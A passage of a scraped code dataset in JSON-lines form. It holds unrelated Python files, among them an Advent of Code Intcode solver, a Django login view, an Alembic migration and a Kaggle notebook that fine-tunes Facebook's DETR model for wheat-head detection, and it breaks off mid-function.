)\n\n\t\t\t# parse instructions\n\t\t\top_str = ( '0000' + str( codes[ i ] ) )[ -5: ]\n\t\t\t#print( 'op_str =', op_str )\n\n\t\t\topcode = int( op_str[ 3: ] )\n\t\t\t#print( 'opcode =', opcode )\n\n\t\t\tif opcode == OP_HALT:\n\t\t\t\tbreak\n\n\t\t\tparam_modes = list( reversed( [ int( m ) for m in op_str[ :3 ] ] ) )\n\n\t\t\tif opcode in ( OP_INPUT, OP_OUTPUT ):\n\t\t\t\t# Only need one param for these\n\t\t\t\tparam_modes = param_modes[ :1 ]\n\t\t\telif opcode in ( OP_JUMP_IF_TRUE, OP_JUMP_IF_FALSE ):\n\t\t\t\t# Only need two params for these\n\t\t\t\tparam_modes = param_modes[ :2 ]\n\n\t\t\t#print( 'param_modes =', param_modes )\n\n\t\t\tparams = get_params( codes, i, param_modes )\n\t\t\t#print( 'params =', params )\n\n\t\t\tif opcode == OP_ADD:\n\t\t\t\tval = params[ 0 ] + params[ 1 ]\n\t\t\t\tcodes[ codes[ i+3 ] ] = val\n\t\t\t\ti += 4\n\n\t\t\telif opcode == OP_MULT:\n\t\t\t\tval = params[ 0 ] * params[ 1 ]\n\t\t\t\tcodes[ codes[ i+3 ] ] = val\n\t\t\t\ti += 4\n\n\t\t\telif opcode == OP_INPUT:\n\t\t\t\tcodes[ codes[ i+1 ] ] = self._inputs[ input_idx ]\n\t\t\t\ti += 2\n\t\t\t\tinput_idx += 1\n\n\t\t\telif opcode == OP_OUTPUT:\n\t\t\t\toutput = codes[ codes[ i+1 ] ]\n\t\t\t\t#print( 'output =', output )\n\t\t\t\ti += 2\n\n\t\t\telif opcode == OP_JUMP_IF_TRUE:\n\t\t\t\tif params[ 0 ]:\n\t\t\t\t\ti = params[ 1 ]\n\t\t\t\telse:\n\t\t\t\t\ti += 3\n\n\t\t\telif opcode == OP_JUMP_IF_FALSE:\n\t\t\t\tif not params[ 0 ]:\n\t\t\t\t\ti = params[ 1 ]\n\t\t\t\telse:\n\t\t\t\t\ti += 3\n\n\t\t\telif opcode == OP_IS_LESS_THAN:\n\t\t\t\tif params[ 0 ] < params[ 1 ]:\n\t\t\t\t\tcodes[ codes[ i+3 ] ] = 1\n\t\t\t\telse:\n\t\t\t\t\tcodes[ codes[ i+3 ] ] = 0\n\n\t\t\t\ti += 4\n\n\t\t\telif opcode == OP_IS_EQUAL:\n\t\t\t\tif params[ 0 ] == params[ 1 ]:\n\t\t\t\t\tcodes[ codes[ i+3 ] ] = 1\n\t\t\t\telse:\n\t\t\t\t\tcodes[ codes[ i+3 ] ] = 0\n\n\t\t\t\ti += 4\n\n\t\t\t#print( 'codes2 =', ','.join( [ str( x ) for x in codes.values( ) ] ) )\n\t\t\t#print( '---' )\n\n\t\t#print( 'OUTPUT =', output )\n\n\t\tself.output = output\n\t\tself._codes = codes\n\n\t\treturn output\n\n\n### MAIN ###\n\nif __name__ == \"__main__\":\n\tmax_signal = 0\n\tprogram = open( 'input.txt', 'r' ).read( )\n\tphases = [ 0, 1, 2, 3, 4 ]\n\n\tfor phases_perm in itertools.permutations( phases ):\n\t\tcur_signal = 0\n\t\tfor phase in phases_perm:\n\t\t\tcomp = Computer( program, [ phase, cur_signal ] )\n\t\t\tcur_signal = comp.run( )\n\n\t\tif cur_signal > max_signal:\n\t\t\tmax_signal = cur_signal\n\n\n\tprint( 'max signal =', max_signal )\n\n# answer\n# 43210\n","repo_name":"vScourge/Advent_of_Code","sub_path":"2019/07/2019_day_07_1.py","file_name":"2019_day_07_1.py","file_ext":"py","file_size_in_byte":7103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28298367363","text":"from datetime import datetime\n\n\ndef format_topic(tor_id, topic_title, size, info_hash, reg_time, pre='', item_num=False):\n def sizeof_fmt(num, suffix='B'):\n num = int(num)\n for unit in ['', 'Ki', 'Mi', 'Gi', 'Ti', 'Pi', 'Ei', 'Zi']:\n if abs(num) < 1024.0:\n return \"%3.1f%s%s\" % (num, unit, suffix)\n num /= 1024.0\n return \"%.1f%s%s\" % (num, 'Yi', suffix)\n\n size = sizeof_fmt(size)\n reg_time = datetime.utcfromtimestamp(int(reg_time)\n ).strftime('%b-%d-%Y')\n if item_num:\n item_num = f\"[{item_num}] \"\n else:\n item_num = ''\n msg = f\"\"\"{pre}{item_num}{topic_title}\n💿 Size: {size}\n#️⃣ Hash: {info_hash}\n📅 Updated: {reg_time}\n❌ Unsubscribe: /delete_{tor_id}\\n\"\"\"\n return msg\n","repo_name":"house-of-vanity/gaspar","sub_path":"gaspar/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"} +{"seq_id":"41864206739","text":"\"\"\"empty message\n\nRevision ID: c1b2ed0fbaa7\nRevises: \nCreate Date: 2022-01-13 21:48:57.517056\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c1b2ed0fbaa7'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(length=15), nullable=True),\n sa.Column('last_name', sa.String(length=15), nullable=True),\n sa.Column('email', sa.String(length=50), nullable=True),\n sa.Column('password', sa.String(length=256), nullable=True),\n sa.Column('registered_on', sa.DateTime(), nullable=False),\n sa.Column('confirmed', sa.Boolean(), nullable=False),\n sa.Column('confirmed_on', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email'),\n sa.UniqueConstraint('first_name'),\n sa.UniqueConstraint('last_name'),\n sa.UniqueConstraint('password')\n )\n op.create_table('pitches',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('pitch_body', sa.String(length=255), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('category', sa.String(length=50), nullable=True),\n sa.Column('date_published', sa.DateTime(), nullable=True),\n sa.Column('likes', sa.Integer(), nullable=True),\n sa.Column('dislikes', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('comments',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('comment', sa.String(length=255), nullable=True),\n sa.Column('pitch_id', sa.Integer(), nullable=True),\n sa.Column('date_published', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['pitch_id'], ['pitches.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('comments')\n op.drop_table('pitches')\n op.drop_table('users')\n # ### end Alembic commands ###\n","repo_name":"steve-njuguna-k/Flask-Pitch-Deck","sub_path":"migrations/versions/c1b2ed0fbaa7_.py","file_name":"c1b2ed0fbaa7_.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"72538481964","text":"from plone import api\n\n\nTO_DELETE = [\"news\", \"events\", \"Members\"]\n\n\ndef post_install(context):\n \"\"\"Post install script\"\"\"\n # Do something at the end of the installation of this package.\n portal = context.aq_parent\n for cid in TO_DELETE:\n if cid in portal:\n api.content.delete(obj=portal[cid])\n","repo_name":"itonboard/portal","sub_path":"backend/src/itonboard/portal/setuphandlers.py","file_name":"setuphandlers.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"904569343","text":"# buildCsv.py\n# Ezra Zinberg\n\nimport csv\nimport sys\n\n\ndef main():\n data = [[]]\n\n # add artist, track, date to data\n with open('songdata-with-years.csv') as csv_file1: \n csv_reader = csv.reader(csv_file1, delimiter=',')\n for row in csv_reader:\n data.append([row[0], row[1], row[2]])\n\n csv_file1.close() \n print(\"file 1 closed\") \n\n # add lyric string to correct row in data\n dataRow = 1\n with open('songdata.csv') as csv_file2: \n csv_reader = csv.reader(csv_file2, delimiter=',')\n for row in csv_reader:\n if dataRow < len(data):\n if data[dataRow][0] != \"\" and data[dataRow][1] != \"\":\n if row[0] == data[dataRow][0] and row[1] == data[dataRow][1]:\n data[dataRow].append(row[3])\n dataRow += 1\n \n print(\"row hits: \" + str(dataRow))\n csv_file2.close() \n\n with open('songdata-all-fields-1.csv', mode='w') as all_fields_file:\n writer = csv.writer(all_fields_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\n writer.writerows(data)\n all_fields_file.close() \n\n\nmain()","repo_name":"ezinberg/SentiLyric","sub_path":"mergeCsv.py","file_name":"mergeCsv.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"26539701684","text":"import csv\nimport pandas as pd\nimport re\n\n\ndef main():\n buf = ''\n #abstract_dict = {}\n abstract = ''\n '''\n data_df = pd.read_csv('/home/windlbl/Documents/MagData.csv', error_bad_lines=False)\n data_df.head()\n buf = data_df.loc[0, :]\n print(data_df)\n '''\n \n path = '/home/windlbl/Documents/knowledge_graph/MAG_data/Test.csv'\n with open(path, 'w') as f:\n csv_write = csv.writer(f)\n csv_head = [\"Title\", \"Journal\", \"Year\", \"Abstract\"]\n csv_write.writerow(csv_head)\n path = '/home/windlbl/Documents/knowledge_graph/MAG_data/Test.csv'\n with open('/home/windlbl/Documents/MagData.csv')as f:\n table_data = csv.reader(f)\n count = 0\n #write_data = pd.DataFrame()\n for raw_data in table_data:\n count += 1\n if count > 1:\n if count == 40:\n print('stop')\n with open(path, 'a+') as f:\n csv_write = csv.writer(f)\n write_data = [raw_data[1], raw_data[4], raw_data[2]] #Title Journal Year\n info, absract_raw = pre_process(raw_data[5:])\n absract_len = get_len(info)\n abstract_dict = creat_dict(absract_raw)\n abstract = post_process(compose(abstract_dict, absract_len))\n write_data.append(abstract)\n #write_data.append({\"Title\": row[1], \"Journal\": row[4], \"Year\": row[2], \"Abstract\": abstract}, ignore_index=True)\n csv_write.writerow(write_data)\n if count == 50:\n #write_data.to_csv(path)\n break\n del table_data\n\n\n\n\ndef get_keys(d, value):\n '''\n Get the key(word) using value(position number)\n '''\n for k, v in d.items():\n if value in v:\n return k\n return ''\n\ndef compose(dict, len):\n '''\n Cat each word into a complete abstract.\n '''\n abstract = ''\n for num in range(len):\n word = get_keys(dict, str(num))\n abstract = abstract + ' ' + word\n return abstract\n\ndef get_len(str):\n spec_cond = re.compile(r'[:](.*?)[,]', re.S) # the condition of extracting abstract from text\n value_str = re.findall(spec_cond, str)\n value = int(value_str[0])\n\n return value\n\ndef creat_dict(str):\n '''\n Create a dictionary using the raw data\n key:'word'\n value: ['position',...]\n '''\n dict_buf = {}\n for key, value in zip(str[::2], str[1::2]):\n spec_cond = re.compile(r'[[](.*?)[]]', re.S) # the condition of extracting abstract from text\n value_str = re.findall(spec_cond, value)[0].split(',')\n dict_buf[key] = value_str\n\n return dict_buf\n\ndef pre_process(str):\n '''\n Process the raw data into two part.\n '''\n buf = ''\n for word in str:\n buf = buf + ',' + word\n buf_split = buf.split('{')\n assert buf_split[0] == ','\n front = buf_split[1]\n abstract_raw = buf_split[-1]\n abstract_raw = abstract_raw.split('\\\\\"')[1:] #[1:] in order to discard the '' in the front\n return front, abstract_raw\n\ndef post_process(abstract):\n if abstract.find(\"\\\\u0027\") != -1:\n abstract = abstract.replace('\\\\\\\\u0027', \"'\")\n if abstract.find(\"\\\\\\\\r\\\\\\\\n\") != -1:\n abstract = abstract.replace('\\\\\\\\r\\\\\\\\n', ' ')\n return abstract\n\nif __name__ == '__main__':\n main()","repo_name":"HKUST-KnowComp/BEKG","sub_path":"MAG/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"19349065369","text":"from django.shortcuts import render, redirect\r\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\r\nfrom django.contrib.auth import login, logout\r\n# Create your views here.\r\n\r\n# Take both GET and POST request for signing up user\r\ndef signup_view(request):\r\n if request.method == 'POST': \r\n form = UserCreationForm(request.POST) # request.POST has all user data input\r\n if form.is_valid(): # Check if user already exist if so save to DB\r\n user = form.save() # save user to DB and return user\r\n # log the user in\r\n login(request, user)\r\n return redirect('articles:list') # send user to list\r\n else:\r\n form = UserCreationForm()\r\n return render(request, 'accounts/signup.html', {'form': form}) # will take GET request and POST that failed\r\n\r\ndef login_view(request):\r\n if request.method == 'POST':\r\n form = AuthenticationForm(data=request.POST) # check user's authentication. request.POST is not 1st param so data= is required\r\n if form.is_valid():\r\n # log in user\r\n user = form.get_user() # extract user from authenticated form\r\n login(request, user)\r\n if 'next' in request.POST: # if a next value exist from url of login.html, once login redirect to previous page before login\r\n return redirect(request.POST.get('next'))\r\n else:\r\n return redirect('articles:list')\r\n else:\r\n form = AuthenticationForm()\r\n return render(request, 'accounts/login.html', {'form':form}) # like def sign_up if authen POST fail send error to this render\r\n\r\ndef logout_view(request):\r\n if request.method == 'POST':\r\n logout(request)\r\n return redirect('articles:list')","repo_name":"JakrarinSrimakut/Python","sub_path":"WebSite/djangonautic/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"33548122843","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"ntuWriter\")\n\n### an empty source is used here for testing purposes\nprocess.source = cms.Source(\"EmptySource\",\n numberEventsInRun = cms.untracked.uint32(10)\n)\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1000) )\n\nprocess.simpleNtuEDMModule = cms.EDProducer( 'SimpleNtuEDMModule',\n### cut used in the event selection\n nCut = cms.uint32( 6 )\n)\n\n### A filter can be included in the path, to pass the event to following\n### modules, only for event selected by SimpleNtuEDMModule::fill function.\n### Unluckily this is implemented in a largely suboptimal way, using\n### a \"static bool\" flag: it's incompatible with multithread running and\n### doesn't comply with CMSSW rules.\n### A better solution will be implemented a.s.a.p.\nprocess.ntuFilter = cms.EDFilter('EDMNtupleFilter')\n\n# Output definition\nprocess.out = cms.OutputModule(\n \"PoolOutputModule\",\n fileName = cms.untracked.string('simple_ntuEDM.root'),\n outputCommands = cms.untracked.vstring(\n \"drop *\",\n \"keep *_simpleNtuEDMModule_*_*\"\n )\n)\n\n\nprocess.p = cms.Path(process.simpleNtuEDMModule\n# *process.ntuFilter\n)\n\nprocess.e = cms.EndPath(process.out)\n\n","repo_name":"ronchese/NtuTool","sub_path":"EDM/test/cfg_ntuEDM.py","file_name":"cfg_ntuEDM.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"27070626980","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # About this Notebook\n# \n# Object Detection is a problem which is not only a bit complex but also computationally expensive, due to the number of components to it. I always wanted to learn it and I got really excited when I saw a Kaggle competition on it , although I was not able to fully concentrate on it due to other competitions up untill now. While I was learning all the different concepts in Object Detection , I came across Facebook's **Detection tranformer DETR** , launched in April 2020 . It's still quite new but the resuts are astonishing and the model itself is very fast . In this notebook, I explore this new architecture,its working and fine tune it for Wheat Detection competition Dataset.\n# \n# Note that for now this is just a baseline to demonstrate the architecture and its working ,it does not aim at getting very good results on lb,this will be a work in progress,and I will soon update with full training and a separate \n\n# # Update Log\n# \n# ### V2\n# * As I was made aware that I was printing the target boxes instead of predicted boxes , I have corrected it , I am really sorry , It was an honest mistake\n# * Thanks to PRVI and his valuable suggestions , I have incorporated the following changes :\n# * Normalizing bounding boxes\n# * Using label 0 for main class\n# \n# The code for the changes has been taken from [here](https://www.kaggle.com/prokaj/end-to-end-object-detection-with-transformers-detr#Creating-Dataset)\n\n# # DETR (Detection Transformer)\n# \n# Attention is all you need,paper for Transformers,changed the state of NLP and has achieved great hieghts. Though mainly developed for NLP , the latest research around it focuses on how to leverage it across different verticals of deep learning. Transformer acrhitecture is very very powerful, and is something which is very close to my part,this is the reason I am motivated to explore anything that uses transformers , be it google's recently released Tabnet or OpenAI's ImageGPT .\n# \n# Detection Transformer leverages the transformer network(both encoder and the decoder) for Detecting Objects in Images . Facebook's researchers argue that for object detection one part of the image should be in contact with the other part of the image for greater result especially with ocluded objects and partially visible objects, and what's better than to use transformer for it.\n# \n# **The main motive behind DETR is effectively removing the need for many hand-designed components like a non-maximum suppression procedure or anchor generation that explicitly encode prior knowledge about the task and makes the process complex and computationally expensive**\n# \n# The main ingredients of the new framework, called DEtection TRansformer or DETR, are a set-based global loss that forces unique predictions via bipartite matching, and a transformer encoder-decoder architecture.\n# \n# ![](https://cdn.analyticsvidhya.com/wp-content/uploads/2020/05/Screenshot-from-2020-05-27-17-48-38.png)\n# \n# Interesting Right?? Want to learn more please bare with me, as always I will try to explain everything\n\n# For Fully understanding DETR I recommend read [this](https://ai.facebook.com/blog/end-to-end-object-detection-with-transformers/) blog

    \n# However if you want in-depth knowledge and are a video person like please see the video in the cell below\n# You can find the video in youtube [here](https://www.youtube.com/watch?v=T35ba_VXkMY)\n\n# In[1]:\n\n\nfrom IPython.display import IFrame, YouTubeVideo\nYouTubeVideo('T35ba_VXkMY',width=600, height=400)\n\n\n# # Using DETR without Fine-Tuning\n# \n# * Before learning how to fine tune DETR if you want to use and play with DETR directly on some sample images , please refer the video [here](https://www.youtube.com/watch?v=LfUsGv-ESbc)\n# * [Here](https://scontent.flko3-1.fna.fbcdn.net/v/t39.8562-6/101177000_245125840263462_1160672288488554496_n.pdf?_nc_cat=104&_nc_sid=ae5e01&_nc_ohc=KwU3i7_izOgAX9bxMVv&_nc_ht=scontent.flko3-1.fna&oh=64dad6ce7a7b4807bb3941690beaee69&oe=5F1E8347) is the link to the paper\n# * [Here](https://github.com/facebookresearch/detr) is link to their github repo for code and model zoo\n# * They recently added a wrapper to use DETR from Detectron2 API\n\n# # Wheat Detection Competition With DETR\n# \n# So I wanted to try DETR and what could be greater oppurtunity than a kaggle competition to test a model's potential. I just joined two days ago and from what I have analyzed these are by far the best practices for this competition :-\n# * Use Stratified Kfold because of different sources of Images\n# * Use Cut-mix for better model generalization\n# * Use WBF ensemble for unifying predictions of Kfold model\n# \n# Besides these I found gem of an EDA kernel , It gives very valuable insigts , you can have a look [here](https://www.kaggle.com/aleksandradeis/globalwheatdetection-eda) by aleksandra .Here are the conclusions derived from that kernel\n# * Images are taken at different zoom levels. Crop and resize data augmentations to be used for model training.\n# * Images are taken at various lighting conditions. Special filters should be used to address that.\n# * Bounding boxes are messy!\n# \n# **There are some Giant bounding boxes and some micro bounding boxes removal of which have reported bad lb, so I assume the noise is present in the test setas well, hence keeping them would be more benificial**\n# \n# Keeping all this in find we start with coding DETR , **Note that this code can be used and easily modified to other object detection tasks**\n\n# In[2]:\n\n\nget_ipython().system('git clone https://github.com/facebookresearch/detr.git #cloning github repo of detr to import its unique loss')\n\n\n# * Now if you have seen the video , you know that DETR uses a special loss called Bipartite Matching loss where it assigns one ground truth bbox to a predicted box using a matcher , thus when fine tuning we need the matcher (hungarian matcher as used in paper) and also the fucntion SetCriterion which gives Bipartite matching loss for backpropogation. This is the reason for forking the github repo\n\n# * So I did not know that we can add the path to environment variables using sys , hence I was changine directories , but now I have made changes so I do not have to change directories and import detr easily. A big Thanks to @prvi for his help\n\n# In[3]:\n\n\nimport os\nimport numpy as np \nimport pandas as pd \nfrom datetime import datetime\nimport time\nimport random\nfrom tqdm.autonotebook import tqdm\n\n\n#Torch\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset,DataLoader\nfrom torch.utils.data.sampler import SequentialSampler, RandomSampler\n\n#sklearn\nfrom sklearn.model_selection import StratifiedKFold\n\n#CV\nimport cv2\n\n################# DETR FUCNTIONS FOR LOSS######################## \nimport sys\nsys.path.append('./detr/')\n\nfrom detr.models.matcher import HungarianMatcher\nfrom detr.models.detr import SetCriterion\n#################################################################\n\n#Albumenatations\nimport albumentations as A\nimport matplotlib.pyplot as plt\nfrom albumentations.pytorch.transforms import ToTensorV2\n\n#Glob\nfrom glob import glob\n\n\n# # Utils\n# \n# * AverageMeter - class for averaging loss,metric,etc over epochs\n\n# In[4]:\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\n# # Configuration\n# \n# Basic configuration for this model\n\n# In[5]:\n\n\nn_folds = 5\nseed = 42\nnum_classes = 2\nnum_queries = 100\nnull_class_coef = 0.5\nBATCH_SIZE = 8\nLR = 2e-5\nEPOCHS = 2\n\n\n# # Seed Everything\n# \n# Seeding everything for reproducible results\n\n# In[6]:\n\n\ndef seed_everything(seed):\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = True\n\n\n# In[7]:\n\n\nseed_everything(seed)\n\n\n# # Preparing the Data\n# \n# * For preparation of data I use code from Alex's awesome kernel [here](https://www.kaggle.com/shonenkov/training-efficientdet)\n# * The data can be split into any number of folds as you want , split is stratified based on number of boxes and source\n\n# In[8]:\n\n\nmarking = pd.read_csv('../input/global-wheat-detection/train.csv')\n\nbboxs = np.stack(marking['bbox'].apply(lambda x: np.fromstring(x[1:-1], sep=',')))\nfor i, column in enumerate(['x', 'y', 'w', 'h']):\n marking[column] = bboxs[:,i]\nmarking.drop(columns=['bbox'], inplace=True)\n\n\n# In[9]:\n\n\n# Creating Folds\nskf = StratifiedKFold(n_splits=n_folds, shuffle=True, random_state=seed)\n\ndf_folds = marking[['image_id']].copy()\ndf_folds.loc[:, 'bbox_count'] = 1\ndf_folds = df_folds.groupby('image_id').count()\ndf_folds.loc[:, 'source'] = marking[['image_id', 'source']].groupby('image_id').min()['source']\ndf_folds.loc[:, 'stratify_group'] = np.char.add(\n df_folds['source'].values.astype(str),\n df_folds['bbox_count'].apply(lambda x: f'_{x // 15}').values.astype(str)\n)\ndf_folds.loc[:, 'fold'] = 0\n\nfor fold_number, (train_index, val_index) in enumerate(skf.split(X=df_folds.index, y=df_folds['stratify_group'])):\n df_folds.loc[df_folds.iloc[val_index].index, 'fold'] = fold_number\n\n\n# # Augmentations\n# \n# * As suggested by aleksendra in her kernel ,augentations will play a major role and hence took her up advice and use awesome augmentations , cut-mix and other will be included in future versions\n\n# In[10]:\n\n\ndef get_train_transforms():\n return A.Compose([A.OneOf([A.HueSaturationValue(hue_shift_limit=0.2, sat_shift_limit= 0.2, val_shift_limit=0.2, p=0.9),\n \n A.RandomBrightnessContrast(brightness_limit=0.2, contrast_limit=0.2, p=0.9)],p=0.9),\n \n A.ToGray(p=0.01),\n \n A.HorizontalFlip(p=0.5),\n \n A.VerticalFlip(p=0.5),\n \n A.Resize(height=512, width=512, p=1),\n \n A.Cutout(num_holes=8, max_h_size=64, max_w_size=64, fill_value=0, p=0.5),\n \n ToTensorV2(p=1.0)],\n \n p=1.0,\n \n bbox_params=A.BboxParams(format='coco',min_area=0, min_visibility=0,label_fields=['labels'])\n )\n\ndef get_valid_transforms():\n return A.Compose([A.Resize(height=512, width=512, p=1.0),\n ToTensorV2(p=1.0)], \n p=1.0, \n bbox_params=A.BboxParams(format='coco',min_area=0, min_visibility=0,label_fields=['labels'])\n )\n\n\n# # Creating Dataset\n# \n# * I hope you have the video by now , DETR accepts data in coco format which is (x,y,w,h)(for those who do not know there are two formats coco and pascal(smin,ymin,xmax,ymax) which are widely used) . So now we need to prepare data in that format\n\n# In[11]:\n\n\nDIR_TRAIN = '../input/global-wheat-detection/train'\n\nclass WheatDataset(Dataset):\n def __init__(self,image_ids,dataframe,transforms=None):\n self.image_ids = image_ids\n self.df = dataframe\n self.transforms = transforms\n \n \n def __len__(self) -> int:\n return self.image_ids.shape[0]\n \n def __getitem__(self,index):\n image_id = self.image_ids[index]\n records = self.df[self.df['image_id'] == image_id]\n \n image = cv2.imread(f'{DIR_TRAIN}/{image_id}.jpg', cv2.IMREAD_COLOR)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB).astype(np.float32)\n image /= 255.0\n \n # DETR takes in data in coco format \n boxes = records[['x', 'y', 'w', 'h']].values\n \n #Area of bb\n area = boxes[:,2]*boxes[:,3]\n area = torch.as_tensor(area, dtype=torch.float32)\n \n # AS pointed out by PRVI It works better if the main class is labelled as zero\n labels = np.zeros(len(boxes), dtype=np.int32)\n\n \n if self.transforms:\n sample = {\n 'image': image,\n 'bboxes': boxes,\n 'labels': labels\n }\n sample = self.transforms(**sample)\n image = sample['image']\n boxes = sample['bboxes']\n labels = sample['labels']\n \n \n #Normalizing BBOXES\n \n _,h,w = image.shape\n boxes = A.augmentations.bbox_utils.normalize_bboxes(sample['bboxes'],rows=h,cols=w)\n target = {}\n target['boxes'] = torch.as_tensor(boxes,dtype=torch.float32)\n target['labels'] = torch.as_tensor(labels,dtype=torch.long)\n target['image_id'] = torch.tensor([index])\n target['area'] = area\n \n return image, target, image_id\n\n\n# # Model\n# \n# * Initial DETR model is trained on coco dataset , which has 91 classes + 1 background class , hence we need to modify it to take our own number of classes\n# * Also DETR model takes in 100 queries ie ,it outputs total of 100 bboxes for every image , we can very well change that too\n\n# In[12]:\n\n\nclass DETRModel(nn.Module):\n def __init__(self,num_classes,num_queries):\n super(DETRModel,self).__init__()\n self.num_classes = num_classes\n self.num_queries = num_queries\n \n self.model = torch.hub.load('facebookresearch/detr', 'detr_resnet50', pretrained=True)\n self.in_features = self.model.class_embed.in_features\n \n self.model.class_embed = nn.Linear(in_features=self.in_features,out_features=self.num_classes)\n self.model.num_queries = self.num_queries\n \n def forward(self,images):\n return self.model(images)\n\n\n# # Matcher and Bipartite Matching Loss\n# \n# Now we make use of the unique loss that the model uses and for that we need to define the matcher. DETR calcuates three individual losses :\n# * Classification Loss for labels(its weight can be set by loss_ce)\n# * Bbox Loss (its weight can be set by loss_bbox)\n# * Loss for Background class\n\n# In[13]:\n\n\n'''\ncode taken from github repo detr , 'code present in engine.py'\n'''\n\nmatcher = HungarianMatcher()\n\nweight_dict = weight_dict = {'loss_ce': 1, 'loss_bbox': 1 , 'loss_giou': 1}\n\nlosses = ['labels', 'boxes', 'cardinality']\n\n\n# # Training Function\n# \n# Training of DETR is unique and different from FasteRRcnn and EfficientDET , as we train the criterion as well , the training function can be viewed here : https://github.com/facebookresearch/detr/blob/master/engine.py\n\n# In[14]:\n\n\ndef train_fn(data_loader,model,criterion,optimizer,device,scheduler,epoch):\n model.train()\n criterion.train()\n \n summary_loss = AverageMeter()\n \n tk0 = tqdm(data_loader, total=len(data_loader))\n \n for step, (images, targets, image_ids) in enumerate(tk0):\n \n images = list(image.to(device) for image in images)\n targets = [{k: v.to(device) for k, v in t.items()} for t in targets]\n \n\n output = model(images)\n \n loss_dict = criterion(output, targets)\n weight_dict = criterion.weight_dict\n \n losses = sum(loss_dict[k] * weight_dict[k] for k in loss_dict.keys() if k in weight_dict)\n \n optimizer.zero_grad()\n\n losses.backward()\n optimizer.step()\n if scheduler is not None:\n scheduler.step()\n \n summary_loss.update(losses.item(),BATCH_SIZE)\n tk0.set_postfix(loss=summary_loss.avg)\n \n return summary_loss\n\n\n# # Eval Function\n\n# In[15]:\n\n\ndef eval_fn(data_loader, model,criterion, device):\n model.eval()\n criterion.eval()\n summary_loss = AverageMeter()\n \n with torch.no_grad():\n \n tk0 = tqdm(data_loader, total=len(data_loader))\n for step, (images, targets, image_ids) in enumerate(tk0):\n \n images = list(image.to(device) for image in images)\n targets = [{k: v.to(device) for k, v in t.items()} for t in targets]\n\n output = model(images)\n \n loss_dict = criterion(output, targets)\n weight_dict = criterion.weight_dict\n \n losses = sum(loss_dict[k] * weight_dict[k] for k in loss_dict.keys() if k in weight_dict)\n \n summary_loss.update(losses.item(),BATCH_SIZE)\n tk0.set_postfix(loss=summary_loss.avg)\n \n return summary_loss\n\n\n# # Engine\n\n# In[16]:\n\n\ndef collate_fn(batch):\n return tuple(zip(*batch))\n\n\n# In[17]:\n\n\ndef run(fold):\n \n df_train = df_folds[df_folds['fold'] != fold]\n df_valid = df_folds[df_folds['fold'] == fold]\n \n train_dataset = WheatDataset(\n image_ids=df_train.index.values,\n dataframe=marking,\n transforms=get_train_transforms()\n )\n\n valid_dataset = WheatDataset(\n image_ids=df_valid.index.values,\n dataframe=marking,\n transforms=get_valid_transforms()\n )\n \n train_data_loader = DataLoader(\n train_dataset,\n batch_size=BATCH_SIZE,\n shuffle=False,\n num_workers=4,\n collate_fn=collate_fn\n )\n\n valid_data_loader = DataLoader(\n valid_dataset,\n batch_size=BATCH_SIZE,\n shuffle=False,\n num_workers=4,\n collate_fn=collate_fn\n )\n \n device = torch.device('cuda')\n model = DETRModel(num_classes=num_classes,num_queries=num_queries)\n model = model.to(device)\n criterion = SetCriterion(num_classes-1, matcher, weight_dict, eos_coef = null_class_coef, losses=losses)\n criterion = criterion.to(device)\n \n\n optimizer = torch.optim.AdamW(model.parameters(), lr=LR)\n \n best_loss = 10**5\n for epoch in 